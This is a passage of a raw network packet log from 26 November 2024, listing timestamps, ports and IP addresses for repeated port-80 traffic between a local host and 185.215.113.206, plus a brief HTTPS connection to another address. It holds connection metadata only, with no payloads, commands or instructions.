Nov 26, 2024 01:41:44.999820948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.999941111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.999991894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.000781059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.000830889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.000900984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.000937939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.001720905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.001780033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.001785040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.001837969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.002655983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.002701044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.002763987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.002815008 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.003578901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.003627062 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.003667116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.003705025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.004465103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.004517078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.004595041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.004633904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.005428076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.005469084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.005532980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.005578041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.006339073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.006396055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.006445885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.006491899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.007277012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.007329941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.007381916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.007438898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.008193970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.008241892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.008300066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.008416891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.009145975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.009200096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.009236097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.009267092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.010113001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.010123968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.010169029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.010992050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.011042118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.011106014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.011291027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.011918068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.011986971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.012026072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.012217045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.012857914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.012911081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.012949944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.012984037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.013782024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.013835907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.013881922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.013955116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.014714003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.014764071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.014820099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.014870882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.015628099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.015712976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.015722036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.015742064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.055553913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.055632114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.055661917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.055705070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.056021929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.056094885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.056103945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.056324959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.056952000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.057008028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.057022095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.057154894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.057871103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.057925940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.129713058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.129771948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.129856110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.129935026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.130220890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.130238056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.130289078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.131110907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.131213903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.131221056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.131268978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.132051945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.132102013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.132153034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.132196903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.132960081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.133064032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.133074045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.133117914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.133877993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.133935928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.134007931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.134048939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.134834051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.134879112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.134932041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.134988070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.135759115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.135802984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.135869026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.135932922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.136706114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.136753082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.136789083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.136825085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.137631893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.137680054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.137775898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.137888908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.138557911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.138600111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.138663054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.138706923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.139481068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.139528036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.139590979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.139640093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.140402079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.140456915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.140492916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.140569925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.141339064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.141402006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.141437054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.141477108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.142257929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.142381907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.142432928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.143198967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.143241882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.143301010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.143368006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.144130945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.144185066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.144216061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.144347906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.145101070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.145150900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.145184040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.145227909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.145992994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.146059036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.146115065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.146930933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.146980047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.147028923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.147069931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.147922993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.147972107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.147988081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.148019075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.148776054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.148823023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.148890018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.148938894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.149708986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.149756908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.149815083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.149854898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.150635004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.150721073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.150751114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.150799990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.151568890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.151628971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.151669025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.151711941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.152551889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.152604103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.152647018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.152692080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.153445959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.153491020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.153553963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.153731108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.154350996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.154407024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.154464960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.154511929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.155277014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.155380964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.155385017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.155417919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.156196117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.156250000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.156280041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.156320095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.199615955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.199681044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.199740887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.199780941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.200057983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.200103045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.200158119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.200193882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.200972080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.201117039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.201164007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.201919079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.201972961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.202003002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.202039003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.202836037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.202904940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.202935934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.202976942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.203784943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.203849077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.203891039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.204010963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.204724073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.204770088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.204824924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.204866886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.205648899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.205718040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.205760002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.206557035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.206607103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.206664085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.206749916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.207479954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.207520008 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.207581997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.207716942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.208436012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.208477974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.208542109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.208585024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.209353924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.209434986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.209475994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.209534883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.210283995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.210402012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.210447073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.211237907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.211297989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.211318016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.211357117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.212167978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.212222099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.212266922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.212305069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.213073969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.213186026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.213196039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.213233948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.214000940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.214119911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.214160919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.214952946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.215010881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.215059996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.215099096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.215858936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.215909958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.215971947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.216063023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.216820955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.216867924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.216908932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.216943979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.256849051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.256922960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.256954908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.257002115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.257329941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.257441044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.257479906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.258263111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.258357048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.258388996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.258409977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.259171963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.259227037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.283335924 CET	49897	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:45.283366919 CET	443	49897	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:45.283606052 CET	49897	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:45.283960104 CET	49897	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:45.283967972 CET	443	49897	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:45.330903053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.331001997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.331027031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.331037998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.331298113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.331352949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.331496954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.331630945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.331676006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.332463026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.332568884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.332587004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.332602024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.333390951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.333435059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.333494902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.333534002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.334331036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.334422112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.334435940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.334490061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.335241079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.335355997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.335397005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.336193085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.336246014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.336292028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.336332083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.337114096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.337167978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.337214947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.337304115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.338047028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.338095903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.338160992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.338274002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.338983059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.339035034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.339070082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.339111090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.339901924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.339951992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.339997053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:45.340075016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:45.340816975 CET	80	49813	185.215.113.206	192.168.2.6
